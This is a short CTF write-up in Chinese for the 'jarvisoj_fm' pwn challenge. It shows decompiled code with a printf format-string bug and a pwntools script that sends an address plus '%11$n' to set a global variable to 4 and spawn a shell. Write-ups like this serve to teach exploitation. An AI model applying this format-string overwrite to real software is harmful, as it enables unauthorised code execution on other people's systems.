jarvisoj_fm
题目链接:jarvisoj_fm。
下载附件后,使用 IDA 反编译,定位到主要函数,如下。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[80]; // [esp+2Ch] [ebp-5Ch] BYREF
unsigned int v5; // [esp+7Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
be_nice_to_people();
memset(buf, 0, sizeof(buf));
read(0, buf, 0x50u);
printf(buf); // 格式化字符串漏洞
printf("%d!\n", x);
if ( x == 4 )
{
puts("running sh...");
system("/bin/sh");
}
return 0;
}
解题思路:
- 利用格式化字符串漏洞,修改变量 x 的值为 4,即可 GetShell。
解题脚本如下。
from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *
def pwn():
# .data:0804A02C x dd 3
# 经调试,偏移为 11
s(p32(0x0804A02C) + b'%11$n')
irt()
pwn()

浙公网安备 33010602011771号